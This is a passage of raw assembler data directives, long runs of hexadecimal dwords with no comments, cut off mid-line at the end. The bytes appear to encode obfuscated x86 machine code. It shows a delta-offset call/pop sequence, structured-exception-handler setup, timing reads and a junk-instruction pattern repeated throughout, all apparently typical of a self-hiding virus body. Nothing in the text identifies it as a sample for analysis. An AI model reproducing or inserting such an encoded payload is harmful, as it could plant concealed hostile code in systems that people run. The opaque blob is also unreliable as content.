5AC35A20h, 4245489h, 4244481h, 15h, 0AC35242h, 85B52923h dd 8B061434h, 56006AC1h, 3E8h, 0C35E2000h, 2474895Eh, 24448104h dd 1D04h, 0C3564600h, 0EDF0BCAEh, 92B5920Dh, 858D910Dh dd 6140F99h, 3840Fh, 0BF0F0000h, 0E96090FEh, 0Ah, 0F821921h dd 125F741Eh, 99BBE3F0h, 614A2345h, 49BB5350h, 5B23CBC9h dd 50006A90h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1504h dd 0C3504000h, 6AF5F9D5h, 0D8B70F00h, 6A006Ah, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h dd 661818C3h, 0D1F9F381h, 9D37858Dh, 6A0618h, 3E853h, 5B200000h dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CA7045C3h dd 9D8BC5A4h, 6141C01h, 6A05C083h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 17042444h, 47000000h, 0F36DC357h dd 0BD8B4543h, 6141AA9h, 0FE95750h, 0EF000000h, 5961AA80h dd 0ACC1C05Bh, 0C18F3497h, 895F4661h, 80B32404h, 6A006Ah dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 1C0424h, 56460000h dd 0DA116AC3h, 0AC40B2F5h, 8A0F3104h, 6, 9298589h, 0C3810614h dd 262967B3h, 8D89006Ah, 6141725h, 1A7195FFh, 6A0614h dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h, 52420000h dd 70B971C3h, 8D89259Eh, 6141A89h, 0A8FC8D8Dh, 81600617h dd 109140EAh, 0FF61F94Bh, 50006AD1h, 3E8h, 0C3582000h dd 24448958h, 24448104h, 1604h, 0C3504000h, 0E9CDFA8Dh dd 11h, 5952867Ch, 6A5D5C76h, 8EF4FE44h, 0FABCD83Fh, 0CDBD8346h dd 1061412h, 60850Fh, 6A0000h, 3E855h, 5D200000h, 6C895DC3h dd 44810424h, 160424h, 55450000h, 847D6AC3h, 26619D89h dd 26A0614h, 0BCC78166h, 13E950B1h, 0A1000000h, 0C0368D5Eh dd 5879F1D2h, 1FD58DF7h, 6C76A9D5h, 48917FBh, 95FFF924h dd 6140939h, 1404BF66h, 0E9858960h, 8B061414h, 1400C185h dd 56E96106h, 0E800000Eh, 0 dd 41ED815Dh, 6A06189Dh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 16042444h, 40000000h, 0C703C350h, 998D09C0h dd 6A06141Dh, 3E85200h, 20000000h, 895AC35Ah, 81042454h dd 19042444h, 42000000h, 0C52BC352h, 75EC4617h, 9623858Dh dd 6A0617h, 3E852h, 5A200000h, 54895AC3h, 44810424h, 180424h dd 52420000h, 857FC2C3h, 0BF0F252Ah, 0D88B50F9h, 6A240489h dd 3E85600h, 20000000h, 895EC35Eh, 81042474h, 18042444h dd 46000000h, 2C4C356h, 66C8547Eh, 0D3ECE781h, 35FF64h dd 8B000000h, 1416DDBDh, 25896406h, 0 dd 2C9ABB66h, 236D85FFh, 6A0614h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 1B0424h, 53430000h, 0BE6C8BC3h, 37DCBEF5h dd 10E94Bh, 0FBC0000h, 150E8828h, 4D246358h, 558560FCh dd 0FF6AED16h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h dd 14h, 0A1C35040h, 29D38166h, 1A8F0F98h, 0E8000000h, 0Eh dd 7775915h, 3C8EB3B1h, 94EB05E1h, 8D89131Eh, 61415C1h dd 4DB5FF5Fh, 6A06140Ch, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 19042444h, 41000000h, 528BC351h, 82DE7EACh dd 38B0Fh, 0BF0F0000h, 1995FFDBh, 0E906142Bh, 110h, 0B0F8B70Fh dd 81853100h, 0E6061404h, 999D2370h, 6606141Ch, 921FEB81h dd 0B58971E4h, 61431CDh, 830F613Ch, 0E8h, 10EDBD8Bh, 0B60F0614h dd 0B800FC8h, 0E9000000h, 6, 0CA04EF2Eh, 6BA3F80h, 8B000000h dd 0FBF66C1h, 6D9D8B07h, 0C106141Dh, 0BD8B04E8h, 6141D05h dd 89E2F766h, 14170195h, 89C82B06h, 1408CDB5h, 0DD8D8906h dd 8B06142Ah, 10E8D1h, 0F4280000h, 0B2CBF600h, 0FF7040C6h dd 0ED7D1D30h, 0BB6649F8h, 0E95BC70Fh, 6, 34699D8Bh, 858B0614h dd 6141AB9h, 655BD8Bh, 0C0830614h, 0E9F6B307h, 10h, 1F686A8h dd 28EDEDD0h, 46A49D76h, 0E168DD23h, 0F00C083h, 189h, 0D03BFC00h dd 16830Fh, 95890000h, 61421B9h, 33E9h, 5296BF00h, 0BD894E45h dd 61403B1h, 2A058D8Bh, 0E1830614h, 19840F01h, 0FC000000h dd 2A05A583h, 1FE0614h, 14033D95h, 0B9958906h, 0E906141Ah dd 0 dd 450B58Dh, 8C0F0618h, 6, 724FEB81h, 6A3C31h, 1C39BD01h dd 9D890614h, 6141BB9h, 116995FFh, 6A0614h, 3E856h, 5E200000h dd 74895EC3h, 44810424h, 180424h, 56460000h, 4F5B9EC3h dd 0B70FD769h, 7EAB9FBh, 6A0000h, 3E851h, 59200000h, 4C8959C3h dd 44810424h, 150424h, 51410000h, 83CA23C3h, 8C0FFCE1h dd 3, 0FCD98B66h, 0B8h, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1D04h, 0C3554500h, 0E36325A5h, 0B3D3F837h dd 0D22BFAF0h, 2E15BD8Bh, 33AD0614h, 3E8D1C2h, 4E983D0h dd 880FF475h, 1, 50006AF5h, 3E8h, 0C3582000h, 24448958h dd 24448104h, 1604h, 0C3504000h, 0F5E9104h, 58Dh, 7DAFBB00h dd 81662825h, 0D49B3EBh, 88h, 1FF19509h, 958B0614h, 6143229h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 1Bh, 12C35242h dd 53639528h, 0BB34373Fh, 697611F3h, 64D8D8Bh, 0BF0F0614h dd 0C28B50FEh, 0C103188Bh, 0C18B188Bh, 0C203E8D1h, 0F58188Bh dd 788h, 1870F00h, 0F5000000h, 1A219D23h, 6A0614h, 3E857h dd 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h dd 724C33C3h, 69122ECAh, 3C381BCh, 8343CB59h, 1429ADBDh dd 840F0006h, 3Bh, 2229BD89h, 9D8B0614h, 6142D61h, 0B8h dd 11E900h, 0D3750000h, 0B526433Eh, 774C86CEh, 0D8CC0F20h dd 8DC0D843h, 144D798Dh, 0CD8D8906h, 0FF061423h, 0B1BD09E1h dd 83061416h, 142671BDh, 840F0006h, 41Eh, 0E856006Ah, 3 dd 5EC35E20h, 4247489h, 4244481h, 17h, 0BEC35646h, 0B765B8BAh dd 71BD83CCh, 1061426h, 40B840Fh, 0FE80000h, 3B000000h dd 1C0BEE8Fh, 8FDE3538h, 21BBA5CBh, 8D895397h, 61414B1h dd 71BD835Fh, 3061426h, 3AD860Fh, 800F0000h, 5, 3CCB8166h dd 6A60AFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0CF808DC3h, 0C99D8919h, 66061415h, 6AD98Ch dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 160424h, 52420000h dd 107FE7C3h, 80FE8B66h, 0C90A04E1h, 0C2840Fh, 0FE8B0000h dd 1969858Bh, 0FA8B0614h, 1B818533h, 0F7800614h, 0DA8B50C9h dd 6A240489h, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 1A042444h, 47000000h, 2132C357h, 780E3568h, 89006A3Eh dd 141B2DBDh, 4E806h, 3FF0000h, 81B7001Fh, 0E8BF6650h dd 24448B56h, 0CE904h, 0F3B10000h, 0E2099767h, 28A5663Ah dd 8B227Eh, 66525053h, 0F9E00BFh, 747CBF31h, 585A6E0Dh dd 2444895Bh, 0F525004h, 0F311BB31h, 585A7C77h, 0AD95FF58h dd 31061409h, 14224DB5h, 98858906h, 0E90617AAh, 21Ah, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 27C35343h, 6A436231h dd 0AA90858Bh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h dd 180424h, 50400000h, 68B72CC3h, 9FBB7D7Bh, 0C76EC035h dd 1800h, 13E95100h, 0E0000000h, 0C074CB6h, 0A008D39Fh dd 6C3AD078h, 97D7163Fh, 8B5F2EB9h, 17AA94B5h, 56006A06h dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1904h, 0C3564600h dd 0B983AF72h, 0FE8BD6C2h, 0B29858Bh, 11E90614h, 0F0000000h dd 0F42E14FDh, 0D4FE24FEh, 0ACD3C39Ah, 32FDEE29h, 6A0689h dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h dd 64A48BC3h, 0C06F4194h, 0B30BCB95h, 69858BE1h, 6A061419h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1D042444h dd 45000000h, 11B5C355h, 8EF0C7F3h, 0C9DE27C3h, 2E49BD8Bh dd 0E8600614h, 0Ah, 44331D16h, 645BFDE1h, 0B58B33DDh, 6142FADh dd 0A5858959h, 6106142Fh, 50044689h, 0DE85260h, 0CD000000h dd 1AA3FF59h, 0FD3F469h, 2C5B4539h, 52505958h, 310F6160h dd 310F5250h, 585A585Ah, 24348961h, 0B5FFA8B3h, 617AA90h dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 17h, 0A3C35242h dd 602A6DDEh, 6890Fh, 95890000h, 61405C1h, 82008ABFh, 6B686128h dd 66EEBE25h, 481DE8Bh, 60DE9424h, 858DF811h, 617AA98h dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 37C35747h dd 889955D6h, 8B6650C9h, 0E9505FD8h, 0Dh, 6FAD327Eh, 4DB56F9Ch dd 36F52603h, 24048978h, 0E856006Ah, 3, 5EC35E20h, 4247489h dd 4244481h, 1Ah, 0F7C35646h, 477EC701h, 9D035227h, 614151Dh dd 5B1BD89h, 95FF0614h, 61409ADh, 1655BD8Bh, 1610614h dd 142C3585h, 7185C706h, 3061426h, 6A000000h, 3E85100h dd 20000000h, 8959C359h, 8104244Ch, 1D042444h, 41000000h dd 8F07C351h, 763D57FAh, 0FB658A58h, 3141BD23h, 0BD830614h dd 617AA98h, 48840F00h, 6A000000h, 3E85200h, 20000000h dd 895AC35Ah, 81042454h, 1B042444h, 42000000h, 0ECE1C352h dd 110B099Eh, 3BE99409h, 6A000000h, 3E85300h, 20000000h dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 1A15C353h dd 5028B3EBh, 110C30h, 0C1011144h, 443010E8h, 4C000211h dd 83580311h, 0E77504E9h, 305036EBh, 64001104h, 0E8C10111h dd 11443010h, 11640002h, 0E9835803h, 0EBE77504h, 0E8C1501Bh dd 11642810h, 11443003h, 64285802h, 4300111h, 4E98311h dd 0EBE775h, 6AC08Bh, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 5FF8B3C3h, 813DD8F6h, 8906E11Fh dd 1429B9B5h, 0BE806h, 0E3E80000h, 5429C2AAh, 5BC791Dh dd 14E958h, 0B8030000h, 4DC579B4h, 0F9AAC813h, 740C2E5Ch dd 94CBC005h, 835F1E3Eh, 142671BDh, 850F0306h, 4E5h, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 1Dh, 1DC35141h, 526A9B44h dd 54A652B5h, 98BD83F0h, 617AAh, 4B3840Fh, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h dd 0E1A35CC3h, 0EC076C22h, 0B5FF8844h, 617AA98h, 2AF595FFh dd 6A0614h, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h dd 53430000h, 0E53698C3h, 9F4D9940h, 0B58BFCEAh, 617AA8Ch dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 40C35343h dd 0EEFCB37Fh, 0E83848BAh, 14h, 9E6ACF88h, 8D46E6BFh, 70D8532Eh dd 6E81CA67h, 0AD2A1D37h, 0C75BF88Bh, 1000106h, 50006A00h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1B04h, 0C3504000h dd 592AC196h, 58CAAC9Eh, 92D78166h, 12E95084h, 41000000h dd 4922AC36h, 0E7B13378h, 0AC2C6962h, 98037F50h, 24348968h dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 18h, 0D5C35343h dd 71CAB74Eh, 0F95B531h, 9D8B0614h, 614114Dh, 0AA98B5FFh dd 9D8B0617h, 6140EA1h, 0B3195FFh, 6A0614h, 3E850h, 58200000h dd 448958C3h, 44810424h, 1A0424h, 50400000h, 0F215C8C3h dd 0FC57B3C8h, 9E8h dd 326BF100h, 0E7D04F8h, 0B70F7230h, 0B5895BF9h, 6142071h dd 0AA8CB58Bh, 6A0617h, 3E855h, 5D200000h, 6C895DC3h, 44810424h dd 1D0424h, 55450000h, 440032C3h, 21BCB5DCh, 0E95528D2h dd 6, 6A9B441Dh, 858BB552h, 61421D5h, 0C659D8Bh, 86890614h dd 0C4h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 1Dh, 85C35242h, 148E954h, 0FE114632h, 29958B3Fh, 0BB061432h dd 58928F05h, 0F04C283h, 5089DFBFh, 55006A20h, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1B04h, 0C3554500h, 633BAEA4h dd 0EC5E1E99h, 4BDB531h, 8B660614h, 0DF8160FAh, 13FDCB7Bh dd 15519D8Bh, 8D610614h, 17BE0685h, 57006A06h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1B04h, 0C3574700h, 0ECB6405Ch dd 9B520805h, 11E8h, 0DE684400h, 5A0B5CC4h, 8EC80718h dd 2A894D8Bh, 0BD8B6DD1h, 6141951h, 0FBBF0F5Fh, 0B88689h dd 6A0000h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 190424h dd 51410000h, 7A5E04C3h, 6A59A6C1h, 0C82BB00h, 0B5FF7B17h dd 617AA98h, 178D0Fh, 12E90000h, 36000000h, 7C1E87F0h dd 5C865EF8h, 0DBA75CDh, 0A72F4D29h, 3995FF3Bh, 8B061409h dd 142B4D9Dh, 52505006h, 11E9h, 6FC4BF00h, 0BDAF8C0Dh dd 0D978BF10h, 9943272Eh, 310FC93Eh, 29CFBFBFh, 89585A20h dd 0FFF52434h, 17AA98B5h, 52006A06h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1D04h, 0C3524200h, 0E519CA6Fh dd 1A88B479h, 0FE882E0h, 5F000000h, 0DBB0ABF8h, 877E075Eh dd 0E5821F0Ch, 81669614h, 5FD8B4E3h, 7307E381h, 95FF3F86h dd 61420F5h, 28B0Fh, 0DEB30000h, 68A0Fh, 0B5890000h, 6140025h dd 0C21BD83h, 0F000614h, 1684h, 2CF78100h, 500AEE65h, 840Fh dd 34890000h, 1B50124h, 0FF061409h, 17AA98B5h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1404h, 0C3574700h dd 1D8F0FF8h, 0E8000000h, 11h, 942BCAB1h, 0A46258DEh, 88E1491Dh dd 0E6B1B0A1h, 8A0F10h, 5B000000h, 2B195FFh, 85890614h dd 6142B69h, 5820Fh, 81660000h, 0FF9E7EDBh, 17AA98B5h dd 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1B04h dd 0C3534300h, 0C5BEBCFCh, 3171FC4Ch, 7840Fh, 66560000h dd 34EFD781h, 0DF8B665Fh, 308195FFh, 0BD8B0614h, 6142E2Dh dd 9F5BD83h, 0F020614h, 6384h, 53006A00h, 3E8h, 0C35B2000h dd 245C895Bh, 24448104h, 1904h, 0C3534300h, 848F31CAh dd 9D339C24h, 6141505h, 2D01858Bh, 0D7810614h, 751B01h dd 6A0000C6h, 3E85500h, 20000000h, 895DC35Dh, 8104246Ch dd 1A042444h, 45000000h, 44FFC355h, 345900FDh, 0BA606099h dd 0D9CA9C5h, 61CA8B61h, 244D85C7h, 614h, 6A0000h, 3E853h dd 5B200000h, 5C895BC3h, 44810424h, 140424h, 53430000h dd 0EE98CC3h, 82000000h, 5F741E0Fh, 32E3F012h, 0B2A89780h dd 0F300E955h, 6AFFFFh, 3E856h, 5E200000h, 74895EC3h, 44810424h dd 150424h, 56460000h, 314C37C3h, 1434F5B5h, 6AC18B06h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1A042444h dd 43000000h, 0B84AC353h, 0B1982215h, 0FE9DEh, 30B00000h dd 0BE875064h, 0B240F87Eh, 3013B5BDh, 99858D41h, 8906140Fh dd 141429B5h, 92BB5006h, 897C0308h, 0DBBF2404h, 2942FDD3h dd 140E8985h, 6A006A06h, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 16042444h, 45000000h, 0FAEFC355h, 8166F5B7h dd 6ABC0FF3h, 5E858D00h, 6A0618ADh, 3E85600h, 20000000h dd 895EC35Eh, 81042474h, 1A042444h, 46000000h, 419EC356h dd 2EB18851h, 2042BB8Fh, 0C083161Eh, 57006A05h, 3E8h, 0C35F2000h dd 247C895Fh, 24448104h, 1704h, 0C3574700h, 0B9A71D62h dd 74FBC781h, 8B501F37h, 240489FEh, 0E850006Ah, 3, 58C35820h dd 4244489h, 4244481h, 16h, 7AC35040h, 6AE785h, 22F5BD8Bh dd 6A0614h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 15h, 0C2C35242h, 0D2DF80C8h, 1A7195FFh, 6A0614h, 3E856h dd 5E200000h, 74895EC3h, 44810424h, 150424h, 56460000h dd 0E99E98C3h, 0Eh, 0C59DB129h, 807B6D69h, 65EA7746h, 8D8D271Bh dd 617A8FCh, 8810Fh, 810F0000h, 2, 0D1FFFA8Bh, 0E851006Ah dd 3, 59C35920h, 4244C89h, 4244481h, 14h, 82C35141h, 235DBD8Bh dd 0BD830614h, 61412CDh, 66850F01h, 0F000000h, 1E8Bh, 12E800h dd 2DA50000h, 430D84E6h, 0AF816DFFh, 9F714218h, 0CF3F5BEEh dd 0CACDD781h, 665B61C8h, 4C90C781h, 8D89026Ah, 6141505h dd 0FA8B6690h, 0BF665750h, 905BC6A2h, 0FFBBCF80h, 14093995h dd 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1804h dd 0C3554500h, 0C2BC00FAh, 0D8AE9FBh, 0E80000h, 5D000000h dd 0AD68ED81h, 0BF0F0618h, 55006AFBh, 3E8h, 0C35D2000h dd 246C895Dh, 24448104h, 1504h, 0C3554500h, 0B5898447h dd 6142C4Dh, 9623858Dh, 66900617h, 501458BFh, 0DD9D8B90h dd 64061400h, 35FFh, 9D8B0000h, 6140025h, 258964h, 6A000000h dd 3E85300h, 20000000h, 895BC35Bh, 8104245Ch, 1B042444h dd 43000000h, 0F2BC353h, 3694A321h, 85FFBFB9h, 614236Dh dd 71E38166h, 319589F1h, 6A06141Bh, 55BD8BFFh, 0FF06141Bh dd 141071B5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h dd 1504h, 0C3514100h, 0EB80EE52h, 0CEF7810Eh, 0F021317h dd 95FFDABFh, 6142B19h, 104E9h, 0B0F88B00h, 0F7D78100h dd 0E61F6259h, 2830F70h, 8B000000h, 0E98D89D9h, 0E4061418h dd 0E7C38171h, 3C4C1CE7h, 0DA830F61h, 81000000h, 0E194A8F7h dd 91BD2908h, 0F06141Ah, 0B589C8B6h, 614082Dh, 6BAh, 8BDE8B00h dd 0FE9C1h, 0F130000h, 0D1555E79h, 0B79A30E6h, 74153276h dd 4E8C1ACh, 8258589h, 0F7660614h, 0FE9E2h, 0B1320000h dd 0AC4E48F0h, 0CD2F135Ah, 11AC9B96h, 81C82B24h, 0AE84DBD3h dd 9D18B2Dh, 1404A5B5h, 6E906h, 0BD230000h, 61412C9h, 19F5858Bh dd 8D310614h, 61410C5h, 0F07C083h, 0C083DEBFh, 89575000h dd 142131B5h, 3B5B5F06h, 11830FD0h, 89000000h, 1406A99Dh dd 3BE906h, 8D890000h, 61406DDh, 20B58D8Bh, 0DF8B0614h dd 0F01E183h, 2484h, 1DBD8900h, 83061425h, 1420B5A5h, 9529FE06h dd 614267Dh, 19F59589h, 95890614h, 6140431h, 0E9h, 0C5B58D00h dd 6A06180Eh, 3E85000h, 20000000h, 8958C358h, 81042444h dd 1A042444h, 40000000h, 520AC350h, 93461415h, 2DBB66A9h dd 80006A1Bh, 95FF8FF3h, 6141169h, 0C13CD781h, 9DB94FDCh dd 66000007h, 83C117BBh, 6AFCE1h, 3E853h, 5B200000h, 5C895BC3h dd 44810424h, 160424h, 53430000h, 0D4BF5CC3h, 56006AFCh dd 3E8h, 0C35E2000h, 2474895Eh, 24448104h, 1D04h, 0C3564600h dd 3844C0Dh, 71EF014Fh, 0FE92902h dd 20000000h, 27882F8h, 0BE291C2Ah, 131F23A8h, 0C02BB8C2h dd 0C8E0Fh, 8E0F0000h, 6, 223DB531h, 0D22B0614h, 0E856006Ah dd 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 68C35646h, 843EDA00h dd 3F282C25h, 0BBD9D03h, 33AD0614h, 3E8D1C2h, 4E983D0h dd 6AF475h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 140424h dd 55450000h, 0BD8B33C3h, 61406D1h, 51006AFCh, 3E8h, 0C3592000h dd 244C8959h, 24448104h, 1B04h, 0C3514100h, 0EB93C8D2h dd 4C69C26Ah, 0CA99D8Bh, 880D0614h, 6A000000h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 1B042444h, 46000000h dd 351FC356h, 9915E92Bh, 958B60C8h, 6143229h, 0C2816660h dd 958B6819h, 6141FD9h, 4D8D8B61h, 6A061406h, 3E85600h dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h dd 5177C356h, 0BD2B4266h, 6142B39h, 8BC28B50h, 8BC10318h dd 0D1C18B18h, 8BC203E8h, 6A5818h, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 190424h, 52420000h, 19F172C3h, 0F2F04F2h dd 89h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h dd 1C04h, 0C3534300h, 123D9BCDh, 4D909296h, 0ADBD8330h dd 61429h, 52840Fh, 810F0000h, 5, 0F5C38166h, 0B857h, 12E80000h dd 72000000h, 0E1DD7211h, 40F79554h, 37539BFBh, 4023FB68h dd 14E9F7h, 5DEA0000h, 0D27D8018h, 71F4976Ch, 5D557219h dd 1E191569h, 8D5F22DEh, 144D798Dh, 0D98B6606h, 0BD8BE1FFh dd 6140F6Dh, 2671BD83h, 0F000614h, 43A84h, 0D1BD8B00h dd 6606140Ah, 0BD83FE8Bh, 6142671h, 3F840F01h, 8B000004h dd 143511BDh, 71BD8306h, 3061426h, 3F6860Fh, 9600000h dd 140D69BDh, 0D98C6606h, 0E850006Ah, 3, 58C35820h, 4244489h dd 4244481h, 17h, 0F6C35040h, 8B74A1A4h, 142F359Dh, 9E806h dd 0D6A60000h, 15DE1B36h, 818240A8h, 0FCEE70CBh, 0E1805F1Fh dd 0A5BD0904h, 0E8061404h, 11h, 99996497h, 0A1667E84h dd 423D4B26h, 0A9B39A64h, 4D8D8934h, 5B061419h, 840FC90Ah dd 1ADh, 2820Fh, 0F98A0000h, 8BF98B66h, 14196985h, 57006A06h dd 3E8h, 0C35F2000h, 247C895Fh, 24448104h, 1504h, 0C3574700h dd 0BD8B6BE9h, 6142395h, 1B818533h, 6A0614h, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 140424h, 52420000h, 81607EC3h dd 4959B2F0h, 0CA8B661Fh, 0BF665061h, 4898262h, 319D8B24h dd 6606141Bh, 6ABB39BBh, 55006A00h, 3E8h, 0C35D2000h, 246C895Dh dd 24448104h, 1A04h, 0C3554500h, 0BC75B7AFh, 60ADBB61h dd 313D2FBAh, 39952915h, 6106142Bh, 0AD958960h, 0F06141Bh dd 686h, 5D950900h, 6106141Ch, 4E8h, 1F03FF00h, 12E900h dd 0BA890000h, 6D6A3C29h, 7456B53Eh, 3D422C97h, 2A5613F3h dd 5E950h, 2F370000h, 8B221981h, 0B3042444h, 60008B63h dd 0D2C158BEh, 44896113h, 8E80424h, 29000000h, 47BD643Bh dd 0F72737Ch, 1585h, 10E900h, 74660000h, 6AAD0FE7h, 10238B74h dd 0E3146025h, 585FCE36h, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 18h, 0E3C35242h, 0DBC0F5E0h, 6C26C781h, 95FF2BC1h dd 61409ADh, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h dd 19h, 9C35343h, 708398B4h, 39BD8B78h, 8906142Ch, 17AA9885h dd 50006A06h, 3E8h, 0C3582000h, 24448958h, 24448104h, 1604h dd 0C3504000h, 89E4F1F7h, 1422119Dh, 0CDB50906h, 0E9061415h dd 15Bh, 0DE38166h, 90858B68h, 520617AAh, 0C75BFB8Bh, 1800h dd 0B58BF900h, 617AA94h, 0E853006Ah, 3, 5BC35B20h, 4245C89h dd 4244481h, 1Bh, 83C35343h, 0A6E1BFCFh, 669860F9h, 0AAB3FB8Bh dd 0B29858Bh, 0DB800614h, 8B06894Bh, 14196985h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1B04h, 0C3554500h dd 6ABF724Bh, 710C21AEh, 0BE8h, 98AC3400h, 0E40B160Bh dd 0C35D777Fh, 82DBD0Bh, 895B0614h, 141ACD85h, 4468906h dd 1FB58D89h, 60960614h, 6E9h, 0A64EC200h, 8ACF9A58h, 525061C6h dd 0AE9965Bh, 0AD000000h, 1B16548h, 1A41F9F9h, 90B5FF7Fh dd 810617AAh, 0D27C82D7h, 0EEA56808h, 8C0F240Ah, 2, 34815F52h dd 15ED5A24h, 52006A24h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1504h, 0C3524200h, 0BF66C871h, 858DE93Dh, 617AA98h dd 8499D0Bh, 0E8500614h, 10h, 62DC1B9Ch, 0AEBA7C40h, 0E0997DF1h dd 0F59ABE0Bh, 2404895Fh, 0E851006Ah, 3, 59C35920h, 4244C89h dd 4244481h, 1Ch, 41C35141h, 5482FC27h, 74C7E73Ch, 31A59D09h dd 95FF0614h, 61409ADh, 61FABF0Fh, 14E9h, 55BE4C00h, 0C0392031h dd 592E337Fh, 5C4A969Ah, 0BAF70FD1h, 7185C797h, 3061426h dd 60000000h, 13E9F78Bh, 5A000000h, 0C70C6F1Dh, 94D5E003h dd 0FC61D750h, 67F2DB4h, 8361087Dh, 17AA98BDh, 840F0006h dd 34h, 48E9D98Bh, 6A000000h, 3E85300h, 20000000h, 895BC35Bh dd 8104245Ch, 19042444h, 43000000h, 76C8C353h, 1CAC387Dh dd 68C0Fh, 95890000h, 6143529h, 110C3050h, 1114400h, 3010E8C1h dd 21144h, 5803114Ch, 7504E983h, 5036EBE7h, 110430h, 0C1011164h dd 443010E8h, 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh dd 642810E8h, 44300311h, 28580211h, 30011164h, 0E9831104h dd 0EBE77504h, 89C08B00h, 1409A9B5h, 68B0F06h, 9000000h dd 1425BD95h, 9BBB6606h, 83FA8BFFh, 142671BDh, 850F0306h dd 460h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h dd 14h, 92C35242h, 0AA98BD83h, 0F000617h, 43784h, 42D38000h dd 0AA98B5FFh, 6A0617h, 3E850h, 58200000h, 448958C3h, 44810424h dd 160424h, 50400000h, 0C6106EC3h, 0C61B531h, 95FF0614h dd 6142AF5h, 8BF98B66h, 17AA8CB5h, 19952906h, 0C706140Eh dd 1000106h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h dd 1904h, 0C3504000h, 722D798Ch, 96F83401h, 0FE8B5250h dd 0BF52310Fh, 0FD51096h, 50585A5Fh, 96DA8B66h, 10E9h dd 363D9700h, 918A7CB0h, 4206BAA4h, 18B4899Fh, 98B5FF51h dd 6A0617AAh, 3E85700h, 20000000h, 895FC35Fh, 8104247Ch dd 18042444h, 47000000h, 0F547C357h, 0FFB3A19Dh, 140B3195h dd 55BD8B06h, 0E8061431h, 0Eh, 9058CC8Fh, 0C2C694F3h, 0CE6B4D2Dh dd 12E9F55Ch, 0E9000000h, 5C4285A7h, 0C34120E9h, 0D0CD99C0h dd 9842A979h, 0B58B5BD1h, 617AA8Ch, 90CF8166h, 0D5858B3Dh dd 81061421h, 762C3AD7h, 0C486897Ch, 89000000h, 140FA59Dh dd 29958B06h, 6A061432h, 3E85600h, 20000000h, 895EC35Eh dd 81042474h, 1C042444h, 46000000h, 0B211C356h, 8360CA64h dd 17FDD78h, 140E29BDh, 0DE806h, 0D9C80000h, 0A076B55Eh dd 8CE38AA6h, 890396A5h, 1409A99Dh, 0C2835B06h, 57006A04h dd 3E8h dd 0C35F2000h, 247C895Fh, 24448104h, 1D04h, 0C3574700h dd 2E4C2F0Ch, 5EC6687Ch, 50890B04h, 52006A20h, 3E8h, 0C35A2000h dd 2454895Ah, 24448104h, 1704h, 0C3524200h, 92A6B875h dd 0E9F88B66h, 0Eh, 330D7494h, 5BB98AB4h, 9284FDE0h, 858D14A6h dd 617BE06h, 8689F98Ah, 0B8h, 0E853006Ah, 3, 5BC35B20h dd 4245C89h, 4244481h, 1Bh, 3BC35343h, 78AAB1ACh, 8B70EF9Ah dd 142621BDh, 6A006A06h, 3E85100h, 20000000h, 8959C359h dd 8104244Ch, 18042444h, 41000000h, 1C7DC351h, 60189CEAh dd 0B866FE8Bh, 0FF61B7E4h, 17AA98B5h, 52006A06h, 3E8h dd 0C35A2000h, 2454895Ah, 24448104h, 1404h, 0C3524200h dd 8E0F12h, 89000000h, 